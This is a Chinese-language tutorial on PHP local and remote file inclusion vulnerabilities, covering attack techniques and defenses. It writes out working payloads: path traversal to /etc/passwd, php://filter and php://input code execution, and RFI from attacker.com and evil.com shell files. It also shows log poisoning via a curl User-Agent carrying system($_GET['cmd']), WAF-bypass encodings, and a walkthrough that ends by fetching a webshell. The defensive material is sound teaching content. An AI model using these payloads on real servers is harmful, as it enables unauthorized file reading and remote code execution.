文件包含漏洞深度解析:从LFI/RFI原理到实战攻防与防御方案 📅 2026/8/15 2:03:37 1. 项目概述从“包含”到“掌控”的攻防博弈在Web安全的世界里文件包含漏洞File Inclusion Vulnerability绝对算得上是一个“经典永流传”的议题。它不像SQL注入那样需要复杂的构造也不像XSS那样依赖用户交互很多时候它就像一个被开发者无意间留下的后门攻击者只需轻轻一推就能窥探到服务器内部的秘密甚至直接拿到系统的控制权。我见过太多因为一个简单的文件包含漏洞导致整个网站源码泄露、数据库配置文件被读取甚至服务器被植入后门Webshell的案例。今天我们就来彻底拆解这个看似简单、实则威力巨大的漏洞家族——本地文件包含Local File Inclusion, LFI和远程文件包含Remote File Inclusion, RFI。我的目标是无论你是刚入门的安全爱好者还是有一定经验的开发者都能通过这篇详尽的解析不仅看懂攻击是怎么发生的更能明白如何在自己的项目中有效防御。简单来说文件包含漏洞的根源在于应用程序在引入外部文件时没有对用户输入的文件路径或文件名进行严格的过滤和验证。攻击者通过构造特殊的输入就能让程序加载并执行他们指定的文件。根据这个“指定文件”的来源我们将其分为两类如果文件来自服务器本地就是LFI如果文件是从远程服务器比如攻击者自己搭建的上拉取过来的就是RFI。理解这两者的区别和联系是构建有效防御体系的第一步。接下来我会带你从原理、利用、到防御一步步走完这个完整的攻防链条。2. 核心原理深度拆解为什么程序会“听话”地包含恶意文件要理解漏洞必须先理解功能。文件包含本身是一个正常的、甚至是非常有用的编程特性。在PHP中我们有include、require、include_once、require_once在JSP中有% include file... %或jsp:include page... /在其他服务端语言里也有类似机制。它的设计初衷是为了代码复用和模块化开发比如把数据库连接配置、页头页脚、通用函数库等写在单独的文件里然后在需要的地方包含进来。2.1 漏洞产生的根本逻辑漏洞产生的核心逻辑链条非常清晰动态包含程序使用了一个包含用户输入变量的包含函数。例如include($_GET[page] . .php);缺乏过滤程序没有对用户输入的page参数进行任何有效的检查、过滤或白名单验证。用户可控攻击者可以完全控制这个参数的值。当这三个条件同时满足时漏洞就产生了。攻击者不再局限于选择开发者预设的几个页面如home.php,about.php而是可以尝试包含任何他感兴趣的文件路径。2.2 本地文件包含LFI与远程文件包含RFI的本质区别很多人会混淆LFI和RFI其实它们的核心区别就在于“包含的目标文件的位置”。LFI本地文件包含攻击者诱导应用程序包含并执行服务器本地文件系统上的文件。目标服务器本身已有的文件如系统配置文件、日志文件、应用程序源码、Session文件等。利用前提需要知道目标文件的路径并且Web服务进程有读取该文件的权限。影响信息泄露如读取/etc/passwd获取用户列表、源码审计、在特定条件下实现代码执行例如结合日志文件注入、PHP伪协议等。RFI远程文件包含攻击者诱导应用程序从远程服务器攻击者控制包含一个文件并将其内容作为代码执行。目标一个远程URL指向的恶意脚本文件。利用前提PHP配置中allow_url_include选项必须为 On默认是 Off。这是RFI能够成功的最关键、也常常被忽略的条件。此外目标服务器需要能访问外网。影响直接远程代码执行RCE。攻击者可以在自己的服务器上放置一个包含PHP代码的文本文件让受害服务器去包含并执行它从而完全控制服务器。一个重要的认知RFI的危害通常远大于LFI因为它意味着攻击者可以直接从外部引入任意代码。但正因为其危害大现代PHP版本默认关闭了allow_url_include使得“纯”RFI漏洞在实际中已不常见。然而攻击者会利用LFI结合PHP内置的各种“伪协议”如php://filter,zip://,phar://来实现类似RFI的效果这需要我们格外警惕。2.3 关键函数与危险配置在PHP中以下几个函数是文件包含漏洞的“重灾区”include()require()include_once()require_once()它们的功能略有差异如require在失败时产生致命错误include产生警告但在引发漏洞这一点上是相同的。危险的服务器配置主要是PHP包括allow_url_fopen On允许打开远程文件通常为RFI铺路allow_url_include On允许包含远程文件RFI的直接开关—— 这个必须为OnRFI才能成功。open_basedir配置不当或未设置限制了PHP可访问的目录范围设置后可以缓解LFI。3. 攻击利用手法全解析从读取文件到获取Shell理解了原理我们来看看攻击者具体是怎么操作的。我会按照从简单到复杂、从信息泄露到代码执行的顺序来讲解。3.1 本地文件包含LFI的利用手法LFI的利用思路非常丰富核心是“路径遍历”和“空字节截断”针对老版本PHP以及“伪协议利用”。1. 基础路径遍历这是最直接的利用。假设存在漏洞的URL是http://target.com/index.php?pageabout读取系统文件尝试?page../../../../etc/passwd。通过多个../回溯到根目录读取Linux系统的用户账户文件。读取Web源码尝试?page./config/database.php或?page../application/config.php试图读取数据库连接密码等敏感配置。读取日志文件这是一个非常重要的利用点。尝试包含Web服务器的访问日志、错误日志。例如Apache的日志通常在/var/log/apache2/access.log。攻击者可以先通过User-Agent或GET参数向日志中注入PHP代码然后再通过LFI包含这个日志文件从而执行代码。2. 空字节截断技巧在PHP版本小于5.3.4时存在一个经典技巧。如果代码是include($_GET[page] . “.php”);开发者本意是让用户只能包含.php文件。但攻击者可以输入?page../../../etc/passwd%00。这里的%00是空字节的URL编码。在旧版本PHP中字符串函数处理到%00时会认为字符串结束因此实际拼接后变成../../../etc/passwd%00.php但%00后的.php被忽略从而成功包含非PHP文件。注意此方法在PHP 5.3.4及以上版本已失效。3. PHP伪协议利用重点这是现代LFI利用中最强大、最常用的技术。PHP提供了一系列封装协议可以像访问文件一样访问各种数据流。php://filter—— 读取源码的利器这个协议用于读取文件的“原始内容”而不会执行它。这对于读取PHP文件源码至关重要因为直接包含一个PHP文件服务器会执行它我们看到的是执行结果通常是空白而不是源代码。利用Payload?pagephp://filter/readconvert.base64-encode/resourceindex.php解释通过convert.base64-encode过滤器将index.php的内容进行Base64编码后输出。我们拿到Base64字符串解码即可得到完整的PHP源代码。这比路径遍历更可靠因为它不依赖于具体的文件路径猜测。其他过滤器convert.iconv.*可用于字符集转换有时能绕过一些简单的过滤。php://input—— 执行任意代码这个协议允许你访问请求的原始数据即HTTP POST Body。需要allow_url_includeOn。利用方法发送一个POST请求到漏洞URL。GET参数设置为?pagephp://input。在POST Body中直接写入要执行的PHP代码例如?php system(id); ?。服务器会包含php://input这个“流”并将其中的内容作为PHP代码执行。这是一种典型的“无文件”攻击不依赖服务器上的任何实体文件。zip://与phar://—— 压缩包内的代码执行这两个协议允许直接访问压缩包ZIP或PHAR内的特定文件。攻击者可以制作一个包含恶意PHP脚本的ZIP文件上传到服务器例如通过头像上传功能然后利用LFI去包含这个压缩包内的文件。利用Payloadzip?pagezip:///path/to/uploaded/malicious.zip%23shell.php注意#在URL中需要编码为%23它指定了压缩包内的文件。利用Payloadphar?pagephar:///path/to/uploaded/malicious.phar/shell.php这是一种非常隐蔽的利用方式因为服务器上存放的是一个“合法”的压缩文件而非直接的PHP脚本。data://—— 另一种代码执行方式该协议允许在URI中直接嵌入数据。同样需要allow_url_includeOn。利用Payload?pagedata://text/plain,?php phpinfo();?或?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8Base64编码版可绕过某些过滤。3.2 远程文件包含RFI的利用手法RFI的利用相对“纯粹”但前提苛刻。确认漏洞尝试包含一个已知存在的远程文本文件如?pagehttp://attacker.com/test.txt观察服务器行为是否报错、是否尝试去访问。执行代码在攻击者控制的服务器attacker.com上创建一个内容为?php phpinfo();?的文件命名为shell.txt注意扩展名不重要内容才是关键。触发攻击访问?pagehttp://attacker.com/shell.txt。如果配置允许受害服务器会下载并执行这个文件中的PHP代码攻击者通常会在其中写入一句话木马从而建立持久控制。RFI的变种与限制绕过如果程序强制添加后缀如.php可以尝试?pagehttp://attacker.com/shell.txt?。问号?后的部分在远程请求时会被视为查询参数因此远程服务器实际收到的是对shell.txt的请求而本地拼接后变成shell.txt?.php不影响执行。利用URL短服务或重定向有时可以绕过一些简单的域名黑名单过滤。3.3 高级利用技巧日志文件注入与Session文件包含这是LFI通向RCE的经典路径不需要特殊的PHP配置。1. 日志文件注入原理Web服务器如Apache, Nginx会将每一个请求的详细信息包括请求头记录到日志文件中。如果我们可以控制请求中的某个字段如User-Agent并向其中写入PHP代码那么这段代码就会被原样记录到日志文件里。步骤探测日志路径通过LFI读取可能的日志路径如/var/log/apache2/access.log。污染日志使用工具如curl或浏览器插件发送一个请求将User-Agent设置为?php system($_GET[‘cmd’]);?。curl -H “User-Agent: ?php system(\$_GET[‘cmd’]);?” http://target.com/包含执行通过LFI漏洞去包含这个日志文件?page../../../var/log/apache2/access.log。此时日志文件中的PHP代码会被执行。传递命令现在可以通过cmdid来执行系统命令。最终的利用URL可能类似?page../../../var/log/apache2/access.logcmdid。2. Session文件包含原理PHP的Session机制会将Session数据存储在服务器的一个文件中如/tmp/sess_[sessionid]。如果我们可以向自己的Session中写入数据并且知道Session文件的存储路径和名称就可以通过LFI包含它来执行代码。步骤找到一个能向$_SESSION写入用户可控数据的地方例如一个将用户名存入Session的登录功能。注册或登录一个用户用户名为恶意代码如?php phpinfo();?。获取自己的Session ID通常通过CookiePHPSESSID。利用LFI包含Session文件?page../../../tmp/sess_abc123def456其中abc123def456是你的Session ID。实操心得在实际渗透测试中日志文件注入成功率相对较高因为很多运维人员会忽略对日志文件的权限设置Web进程需要有写权限才能记录日志同时也意味着能被读取。而Session包含则需要应用本身有将未过滤的用户输入存入Session的逻辑条件更苛刻一些。但一旦发现就是一条绝佳的利用链。4. 漏洞挖掘与手动测试指南知道了怎么利用我们来看看如何主动发现它。自动化工具如Burp Suite的Scanner SQLMap的--techniqueF固然有效但手动测试能让你理解更深也能发现工具遗漏的角落。4.1 测试点定位寻找所有可能接受文件路径或名称的参数。常见位置包括URL参数?page,?file,?load,?path,?lang等。Cookie参数有时语言选择、主题设置会通过Cookie传递文件名。POST参数表单中隐藏的或用于上传、导入的字段。HTTP Headers较少见但某些自定义头也可能被使用。4.2 手动测试Payload清单你可以准备一个这样的清单在测试时系统性地尝试测试类型测试Payload示例预期结果/观察点基础路径遍历../../../../etc/passwd返回系统用户列表Linux。../../../../windows/win.ini返回Windows系统文件内容。C:\windows\win.ini(Windows)同上。Web目录文件index.php可能直接包含自身。./config.php读取同级配置文件。../admin/include.php读取上级目录文件。空字节截断../../../etc/passwd%00(仅PHP5.3.4) 绕过后缀限制。../../../etc/passwd%00.jpg同上伪装成图片请求。PHP Filter协议php://filter/readconvert.base64-encode/resourceindex.php返回Base64编码的源码。php://filter/convert.base64-encode/resourceindex.php简写形式效果相同。PHP Input协议php://input(POST Body附代码)执行POST中的PHP代码。Data协议data://text/plain,?php phpinfo();?直接执行phpinfo()。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8Base64编码版可绕WAF。日志包含探测../../../var/log/apache2/access.log返回Apache访问日志需猜路径。../../../var/log/nginx/access.log返回Nginx访问日志。RFI探测http://your-vps.com/test.txt观察服务器是否发起对外请求看VPS日志。http://evil.com/shell.txt?.php尝试绕过后缀拼接。测试流程建议信息收集先尝试包含一些无害的、确定存在的文件如?pageindex.php或?pageabout.php观察正常响应。错误探测尝试包含一个不存在的文件如?pagenon_existent观察错误信息。有时错误信息会暴露出绝对路径、文件系统结构等。逐步深入从简单的路径遍历开始逐步尝试伪协议、日志包含等高级技术。编码绕过如果发现参数被过滤尝试URL编码、双重编码、UTF-7编码等。例如../可以被编码为%2e%2e%2f或..%252f双重编码。后缀绕过如果程序强制添加后缀如.php除了用空字节旧版和问号还可以尝试利用路径截断超长文件名或使用zip/phar协议。4.3 使用Burp Suite进行高效测试手动测试结合Burp Suite的Intruder功能会事半功倍。用Burp抓取存在疑似文件包含参数的请求。发送到Intruder。在参数位置设置Payload标记。加载一个包含上述各种Payload的字典文件。根据响应长度、状态码、内容关键字如“root:x:0:0”来自/etc/passwd来筛选潜在的成功Payload。5. 防御方案设计与最佳实践知道了攻击手法防御的思路就清晰了切断“用户输入”与“包含函数参数”之间的直接、不受控的联系。5.1 白名单机制最有效这是最根本、最推荐的防御方法。不要试图用黑名单过滤掉../、php://等攻击者的绕过方法层出不穷。实现定义一个允许包含的文件列表数组或映射。$allowed_pages array( ‘home’ ‘./templates/home.php’, ‘about’ ‘./templates/about.php’, ‘contact’ ‘./templates/contact.php’, ); $page $_GET[‘page’] ?? ‘home’; // 默认页面 if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘./templates/404.php’); // 或直接die(‘Invalid page’); }优点只要白名单设计得当几乎无法绕过。用户输入只是一个“键”真正的文件路径由程序控制。5.2 路径规范化与过滤辅助手段如果业务上无法使用严格的白名单比如需要动态包含大量未知文件则必须进行严格的过滤。去除目录遍历使用函数如str_replace(‘../’, ‘’, $input)是不安全的因为….//可能被绕过。应该使用realpath()或自定义函数进行递归过滤。限制目录使用basename()函数只获取文件名部分去除任何路径。但这只适用于包含当前目录下的文件。添加固定前缀后缀如include(‘./pages/’ . $input . ‘.php’);确保文件只能在./pages/目录下且必须是.php文件。但仍需对$input进行严格过滤防止目录穿越。5.3 安全的编程模式避免动态包含重新评估是否真的需要动态包含。很多情况下使用路由控制器如index.php?actionhome然后根据action调用对应类方法或模板引擎是更安全的选择。使用绝对路径如果可能使用基于项目根目录的绝对路径并通过常量定义根目录减少混淆。define(‘ROOT_DIR’, dirname(__FILE__)); include(ROOT_DIR . ‘/includes/header.php’);5.4 服务器安全配置PHP配置将allow_url_include和allow_url_fopen设置为Off。这是阻断RFI的生死线。99%的生产环境都不需要开启它们。配置open_basedir将PHP可访问的文件限制在Web目录和必要的临时目录内。例如open_basedir /var/www/html:/tmp。这能有效限制LFI的攻击范围使其无法读取/etc/等关键系统目录。及时更新PHP版本使用稳定的新版本避免已知的截断类漏洞。Web服务器配置以最小权限运行Web服务进程如www-data, nginx用户不应该有读取系统敏感文件如/etc/shadow的权限。日志文件权限确保Web服务器对日志文件只有追加append权限避免通过包含日志执行代码。可以考虑将日志文件移到Web用户无法访问的目录。其他安全措施部署Web应用防火墙WAF可以拦截常见的路径遍历、伪协议等攻击Payload。代码审计在开发流程中加入安全代码审计重点关注所有包含用户输入的include/require语句。5.5 防御策略总结表防御层面具体措施效果与说明代码层面采用白名单机制最有效将用户输入与文件路径解耦。避免不必要的动态包含从设计上减少风险点。对输入进行严格过滤与规范化辅助手段需注意绕过情况。配置层面allow_url_include Off必须关闭彻底杜绝RFI。open_basedir限制目录有效限制LFI影响范围。Web进程最小权限运行遵循最小权限原则。运维层面日志文件独立存放并设权防止日志文件被包含利用。定期更新PHP与Web服务修复已知漏洞。部署WAF提供运行时防护。6. 实战案例一个完整漏洞的发现与利用推演让我们虚构一个简单的场景串联起整个流程。目标一个简单的企业网站URL结构为http://example.com/index.php?modulenews。第一步探测我们尝试修改参数?module../../../../etc/passwd。页面返回了一个Warning但更重要的是错误信息里显示了部分文件系统路径Warning: include(/var/www/html/../../../etc/passwd): failed to open stream...。这证实了存在动态包含并且路径遍历似乎没有被过滤。第二步确认LFI我们尝试一个更确定的Payload?modulephp://filter/readconvert.base64-encode/resourceindex.php。页面没有直接显示错误而是返回了一长串Base64字符串。解码后我们成功获得了index.php的源代码。第三步分析源码寻找突破口从获取的源码中我们看到关键代码$mod $_GET[‘module’]; include(‘./modules/’ . $mod . ‘.php’);程序固定了前缀./modules/和后缀.php。直接RFIhttp://...会因为后缀拼接失败。空字节截断因PHP版本较新而无效。第四步寻找可利用的本地文件我们尝试读取Apache日志?module../../../var/log/apache2/access.log。成功看到了访问日志的内容。现在我们有了一个稳定的文件包含点。第五步日志注入获取代码执行我们使用curl向网站根目录发送一个请求在User-Agent中注入代码curl -A “?php system(\$_GET[‘c’]);?” http://example.com/然后通过包含日志文件并传递参数来执行命令http://example.com/index.php?module../../../var/log/apache2/access.logcid页面返回了uid33(www-data) gid33(www-data) groups33(www-data)说明代码执行成功第六步建立持久化连接通过执行wget或curl命令从我们的服务器下载一个功能更全面的Webshell如蚁剑的PHP马写入到Web目录从而获得一个图形化的管理界面。漏洞根源开发者盲目信任了$_GET[‘module’]参数仅添加了固定前后缀未对中间的输入进行任何过滤导致目录穿越。同时服务器配置允许Web进程读取系统日志且日志文件权限设置不当最终导致漏洞被升级为远程代码执行。修复方案将代码改为白名单模式。如果必须动态则使用basename()并严格检查输入是否只包含字母数字或者使用一个安全的映射数组。在服务器上配置open_basedir并检查日志文件权限。7. 常见问题与排查技巧实录在实际研究和测试中你会遇到各种各样的问题。这里记录一些常见的坑和解决思路。Q1我用了php://filter读取源码但返回的是乱码或执行后的结果不是Base64码可能原因1包含点并非直接执行include你的参数可能参数被拼接到了HTML标签的src或href属性里导致协议不被执行。你需要找到真正的包含点。可能原因2存在输出缓冲或内容被处理。尝试不同的过滤器如convert.iconv.utf-8.utf-16看看。可能原因3WAF或过滤机制拦截了php://关键字。尝试大小写混淆、双重编码php://-php:%2f%2f-php%253a%252f%252f或使用其他协议如zip、phar间接包含。Q2包含日志文件成功了但注入的代码不执行检查代码注入位置确保你的恶意代码被完整地写入了日志文件且没有被转义。用LFI再次读取日志看看?php ... ?是否原样存在。检查日志格式有些日志格式会默认对特殊字符进行编码如将转为。你需要找到不会被编码的字段进行注入通常User-Agent和Referer字段比较可靠。HTTP请求参数GET/POST也可能被记录是更好的注入点因为参数值通常不会编码。检查权限和包含方式确保Web进程对日志文件有读权限并且包含时代码被正确解析即日志文件是通过include()包含而不是file_get_contents()读取显示。Q3为什么我的RFI Payload总是失败服务器没有任何外联请求首要检查allow_url_include99%的情况是它被关闭了。你可以尝试包含一个http://开头的URL如果报错信息明确说allow_url_include被禁用那就确认了。此时应转向LFI利用。网络出口限制目标服务器可能处于内网无法访问互联网。RFI失效。DNS问题你提供的URL域名无法被解析。尝试使用IP地址。WAF拦截请求中的http://特征被WAF拦截。尝试使用其他协议格式或编码绕过。Q4在CTF或靶场中遇到过滤了../和php关键字怎么办编码绕过../可以写成..%2f、%2e%2e%2f、..%252f双重URL编码。php可以写成pHp大小写、phpURL编码。超长路径截断在旧系统或特定环境下输入超长文件名可能使系统截断从而去掉后缀。例如?page../../../etc/passwd/./././[大量重复]/.利用zip://或phar://这两个协议名可能不在黑名单里。先上传一个包含Shell的ZIP文件再包含它。利用data://或expect://如果允许。绝对路径如果知道Web目录的绝对路径可以直接使用避免../。Q5如何判断一个文件包含漏洞是否存在错误信息法输入一个异常值如{{{{观察是否报出包含函数如include()相关的错误。延时判断法尝试包含一个不存在的协议或URL如?pagehttp://non-existent-domain-that-you-own:9999/然后在你的服务器上观察是否有来自目标IP的连接尝试需要你拥有服务器并监听端口。如果有说明它尝试了远程包含。DNS外带法尝试包含一个你控制的域名的子域名如?pagehttp://unique-subdomain.your-vps.com/然后查看你的DNS解析日志如果收到了对这个子域名的查询也说明存在包含行为。这种方法比端口监听更隐蔽。文件包含漏洞的攻防是一场关于“控制权”的细致博弈。对于开发者而言树立“所有用户输入皆不可信”的安全意识采用白名单等积极防御策略并配以安全的服务器配置就能从根本上杜绝绝大多数风险。对于安全研究者而言理解其原理、掌握各种利用与绕过技术不仅是为了发现漏洞更是为了深刻理解安全机制的重要性从而能设计出更健壮的系统。